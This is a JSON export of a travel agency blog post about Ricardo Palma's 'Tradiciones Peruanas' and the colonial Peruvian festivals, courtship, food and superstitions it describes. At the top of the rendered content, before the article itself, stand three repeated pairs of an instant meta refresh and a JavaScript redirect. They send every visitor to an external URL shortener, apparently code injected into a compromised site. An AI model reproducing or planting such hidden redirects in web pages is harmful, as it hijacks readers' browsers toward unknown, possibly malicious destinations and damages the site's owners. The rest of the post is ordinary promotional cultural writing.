{"id":14985,"date":"2025-07-09T11:41:20","date_gmt":"2025-07-09T16:41:20","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=14985"},"modified":"2025-07-09T11:41:22","modified_gmt":"2025-07-09T16:41:22","slug":"perus-traditions-with-ricardo-palmas-tales","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-traditions-with-ricardo-palmas-tales\/","title":{"rendered":"Peru\u2019s Traditions with Ricardo Palma\u2019s Tales"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In the vibrant Lima streets, where the air hums with Peruvian melodies, street vendors hawk sizzling <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-anticucho-the-beloved-street-food\/\"><strong>anticuchos<\/strong><\/a>, and gossip about saints and sinners flies faster than a condor<\/p>\n\n\n\n<p>This is the world of Ricardo Palma\u2019s \u201cTradiciones Peruanas\u201d, a 19th-century collection of tales serving Peru\u2019s history with a side of wit and mischief.&nbsp;<\/p>\n\n\n\n<p>These short stories\u2014part fact, part folklore, all charm\u2014bring to life the customs, traditions, and quirks that shaped Peru from Inca times through Spanish rule.&nbsp;<\/p>\n\n\n\n<p>So, let\u2019s explore the vibrant traditions Palma immortalizes. From holy fiestas to scandalous love stories, this adventure is your ticket to Peru\u2019s cultural heart\u2014fun, easy to read, and packed with *sabor*!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Who Was Ricardo Palma, and Why Is He So Remarkable?<\/strong><\/h2>\n\n\n\n<p>Firstly, meet Ricardo Palma, the rock star of Peruvian storytelling. Born in 1833, this Lima native was a scholar with a knack for unearthing juicy anecdotes and spinning them into tales that sparkle like Andean gold.&nbsp;<\/p>\n\n\n\n<p>His \u201cTradiciones Peruanas\u201d (Peruvian Traditions) is like a gossip column for colonial Peru, blending historical nuggets with legends and a cheeky wink.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?resize=697%2C523&#038;ssl=1\" alt=\"A portrait of Ricardo Palma\" class=\"wp-image-14993\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/27YPQTEEIRBF3MAIXVQ3VGCDKI.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>For example, Palma\u2019s stories capture the melting pot of Indigenous, Spanish, and African influences that define Peru, spotlighting traditions like raucous festivals, flirty courtships, and even the occasional ghost scare.&nbsp;<\/p>\n\n\n\n<p>Think of him as your tour guide to a Peru where<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-more-history-of-cusco-streets-part-iii\/\"><strong> every street<\/strong><\/a> corner has a story\u2014and probably a plate of \u201ctamales\u201d.<\/p>\n\n\n\n<p>Therefore, let\u2019s dive into the traditions Palma brings to life, organized by theme for a breezy read. Buckle up\u2014it\u2019s gonna be as lively as a Cusco \u201cfiesta\u201d!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Holy Parties and Sacred Mischief<\/strong><\/h2>\n\n\n\n<p>Peruvians don\u2019t just celebrate\u2014they throw down, especially when it\u2019s for a saint or a miracle. Palma\u2019s tales show how colonial Peru turned Catholicism into a<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/andean-syncretism-perus-unique-mix-of-faith-tradition\/\"><strong> vibrant, syncretic<\/strong><\/a> party, blending Spanish rituals with Indigenous and African flair.<\/p>\n\n\n\n<p>In \u201cThe Christ of the Agony,\u201d a miraculous statue in Lima\u2019s San Marcelo church draws crowds offering candles, prayers, and tamales.\u00a0<\/p>\n\n\n\n<p>Also, Palma paints a scene of devotion that\u2019s less somber mass and more community bash, with music and dancing spilling into the streets. This reflects a core tradition: religious festivals as social glue.&nbsp;<\/p>\n\n\n\n<p>Think of modern events like \u201c<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lord-of-the-miracles-everything-you-need-to-know\/\"><strong>Lord of the Miracles<\/strong><\/a>\u201d, where Lima\u2019s streets turn purple with devotees honoring a miracle-working Christ. Palma\u2019s stories capture the same vibe\u2014faith as a full-on sensory experience.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?resize=697%2C465&#038;ssl=1\" alt=\"Ricardo palma with a procession food seler, people and children in the background\" class=\"wp-image-14989\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/2f8518dd-be55-4a74-81c5-595b06a1e6e9.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Then there\u2019s \u201cThe Demon of the Andes,\u201d where a mining town battles a pesky spirit with a procession of incense, chants, and offerings to *Pachamama* (Mother Earth).&nbsp;<\/p>\n\n\n\n<p>This mix of Catholic and Indigenous rituals shows Peru\u2019s knack for cultural fusion. Even today, you\u2019ll see Andean farmers pour chicha on the ground for \u201c<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pachamamas-month-everything-you-need-to-know\/\"><strong>Pachamama<\/strong><\/a>\u201d before a harvest, proving Palma\u2019s tales aren\u2019t just history\u2014they\u2019re alive.<\/p>\n\n\n\n<p><strong>Fun Fact: <\/strong>Palma notes that every saint\u2019s day was an excuse for a blowout, with pisco flowing and \u201chuayno\u201d dancers twirling. <\/p>\n\n\n\n<p>Kids were often named after saints (hello, every Juan and Maria in Peru!), ensuring the party never stopped.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Love, Flirtation, and Colonial Soap Operas<\/strong><\/h2>\n\n\n\n<p>Palma\u2019s stories are colonial Peru\u2019s answer to a telenovela\u2014think starry-eyed lovers, nosy chaperones, and enough drama to fill a plaza. Courtship was a high-stakes game, and Palma dishes the details with glee.<\/p>\n\n\n\n<p>In \u201cThe Knight of the Cape,\u201d a suave suitor serenades his crush under her balcony in a tradition called<br>\u201cRonda\u201d. Picture him strumming a guitar, crooning love songs, while the neighborhood eavesdrops like it\u2019s reality TV.<\/p>\n\n\n\n<p>&nbsp;If the lady tossed a flower or fluttered her fan, sparks flew\u2014but a chaperone (usually a hawk-eyed aunt) kept things PG.&nbsp;<\/p>\n\n\n\n<p>Palma\u2019s tale ends with a twist (no spoilers!), showing how courtship was public theater, with everyone from maids to merchants weighing in.<\/p>\n\n\n\n<p>\u201cThe Three Widows\u201d dives into arranged marriages, where love took a backseat to land, titles, or a fancy carriage.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/494576959_700415825717175_3901081810302459639_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"A picture of a young man singing to his fiancee, while mysterious people is watching them.\" class=\"wp-image-14991\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/494576959_700415825717175_3901081810302459639_n.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/494576959_700415825717175_3901081810302459639_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/494576959_700415825717175_3901081810302459639_n.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Young women strutted in \u201cmantas\u201d (embroidered shawls) at balls, while men flexed their wealth or charm. Palma highlights the class divide\u2014Spanish elites, \u201ccriollos\u201d, and \u201cmestizos\u201d all played the love game differently.&nbsp;<\/p>\n\n\n\n<p>Yet, sneaky romantics turned to \u201ccuranderas\u201d (healers) for \u201cfiltros de amor\u201d (love potions) made with <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/muna-the-refreshing-mint-of-the-andes\/\"><strong>herbs like mu\u00f1a<\/strong><\/a>, and maybe a pinch of magic.&nbsp;<\/p>\n\n\n\n<p><strong>Spoiler:<\/strong> they probably just made you smell weird, but the gossip was worth it!<\/p>\n\n\n\n<p><strong>Trivia: <\/strong>Palma describes \u201ctapadas\u201d, women who wore veils covering all but one eye, letting them flirt incognito at markets or dances.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Food, Drink, and Epic Feasts<\/strong><\/h2>\n\n\n\n<p>If Palma\u2019s tales teach us anything, it\u2019s that Peruvians have always been foodies.<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-the-secrets-of-peruvian-creole-cuisine\/\"><strong>Peruvian cuisine<\/strong><\/a><strong> <\/strong>in \u201cTradiciones Peruanas\u201d is a love letter to Peru\u2019s Indigenous roots, Spanish imports, and African zest.<\/p>\n\n\n\n<p>In \u201cThe Bishop\u2019s Ring,\u201d a rich Lime\u00f1o hosts a feast with \u201caj\u00ed de gallina\u201d (creamy chicken stew), \u201crocoto relleno\u201d (stuffed spicy peppers), and \u201cmazamorra morada\u201d (purple corn pudding).&nbsp;<\/p>\n\n\n\n<p>These dishes, still Peruvian staples, show how food was a status symbol. Hosts would splurge on <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\"><strong>\u201ccuy\u201d (guinea pig)<\/strong><\/a> or imported olives to flex their wealth. Palma\u2019s descriptions make you want to grab a fork and dive in.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/495047264_1937720826763806_7401864738263489191_n.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Ricardo Palma in a colonial Lima, eating a Peruvian feast with three women and one man outdoors\" class=\"wp-image-14990\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/495047264_1937720826763806_7401864738263489191_n.jpg?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/495047264_1937720826763806_7401864738263489191_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/495047264_1937720826763806_7401864738263489191_n.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Drinking was just as epic. <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>Chicha, a fermented corn<\/strong><\/a> brew, was the drink of choice for everyone from Inca royals to colonial peasants. In \u201cThe Inca\u2019s Revenge,\u201d Palma visits a \u201cchicher\u00eda\u201d (tavern) where locals trade tales over clay jugs.&nbsp;<\/p>\n\n\n\n<p>The elite preferred <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tracing-the-roots-of-pisco-perus-distilled-treasure\/\"><strong>\u201cpisco\u201d<\/strong><\/a>, sipped at tertulias (fancy salons). Whether toasting a wedding or a saint, drinks brought people together\u2014and maybe sparked a few duels.<\/p>\n\n\n\n<p><strong>Trivia:<\/strong> Palma mentions street vendors selling \u201cpicarones\u201d (sweet fritters), a treat that\u2019s still a Lima must-have. Grab one today, and you\u2019re tasting the same sugar rush as a 17th-century \u201ccriollo\u201d.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Ghosts, Curses, and Spooky Superstitions<\/strong><\/h2>\n\n\n\n<p>Peruvians love<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-mystical-stories-from-the-cityscape\/\"><strong> mystical stories<\/strong><\/a>, and Palma\u2019s \u201cTradiciones\u201d delivers with tales of restless spirits and eerie omens. Colonial Peru was a crossroads of Catholic, Indigenous, and African beliefs, creating a world where superstition ruled.<\/p>\n\n\n\n<p>\u201cThe Headless Mule\u201d features a ghostly beast galloping through Lima, scaring drunks straight. Palma ties this to a tradition of storytelling to enforce morals\u2014parents spooked kids with \u201cduendes\u201d (goblins) or \u201calmas en pena\u201d (lost souls) to keep them behaved.&nbsp;<\/p>\n\n\n\n<p>Another belief was \u201cmal de ojo\u201d (evil eye), where a jealous glare could curse you. Locals countered it with \u201climpias\u201d (cleansing rituals) using herbs, eggs, or a quick prayer.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?resize=697%2C465&#038;ssl=1\" alt=\"A typical night in colonial Lima, street food vendors, musicians, a ghost, and a romantic couple \" class=\"wp-image-14988\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ee24de1f-11f6-4bc9-8026-d210b5150b99.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In \u201cThe Treasure of the Incas,\u201d Palma describes secret offerings at \u201chuacas\u201d (Inca sacred sites), where locals sought blessings or buried gold.&nbsp;<\/p>\n\n\n\n<p>This shows Indigenous spirituality thriving despite Spanish crackdowns. Superstitions like avoiding black cats or tossing salt for luck (Spanish imports) also pepper Palma\u2019s tales, blending seamlessly with Peru\u2019s mystical vibe.<\/p>\n\n\n\n<p><strong>Trivia: <\/strong>Palma hints that Lime\u00f1os would whisper prayers before passing a *huaca* at night\u2014because who wants to mess with an angry Inca spirit?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Palma\u2019s Legacy: Traditions That Live On<\/strong><\/h2>\n\n\n\n<p>In conclusion, Palma\u2019s \u201cTradiciones Peruanas\u201d isn\u2019t just a dusty history book\u2014it\u2019s a mirror reflecting Peru\u2019s soul, then and now. His stories pulse with traditions that still thrive.&nbsp;<\/p>\n\n\n\n<p>Visit Cusco\u2019s \u201c<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inti-raymi-an-unforgettable-event-in-cusco\/\" title=\"\">Inti Raymi<\/a><\/strong>\u201d, and you\u2019ll see the Inca rituals Palma described,&nbsp; head to Trujillo, and the \u201cmarinera\u201d dance\u2014born from colonial flirtations\u2014steals the show.&nbsp;<\/p>\n\n\n\n<p>Even Lima\u2019s \u201cSe\u00f1or de los Milagros\u201d procession echoes the devout, colorful crowds in Palma\u2019s tales. Modern Peru adds its own twists.&nbsp;<\/p>\n\n\n\n<p>Palma\u2019s genius was capturing this timeless energy\u2014his Peru is a place where every festival, meal, or ghost story weaves people together.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, to keep diving into Ricardo Palma\u2019s world, we encourage you to take a look at his book or visit the places, and try the dishes and costumes he mentioned in Peru. <\/p>\n\n\n\n<p>For that, keep in mind that we, <strong>Viagens Machu Picchu<\/strong>, can lend you a hand.<\/p>\n\n\n\n<p>Feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a> to learn about our tours, packages, and more. The adventure in Peru awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ricardo Palma\u2019s Tradiciones Peruanas turns Peru\u2019s history into lively tales filled with saints, spirits, and scandal. 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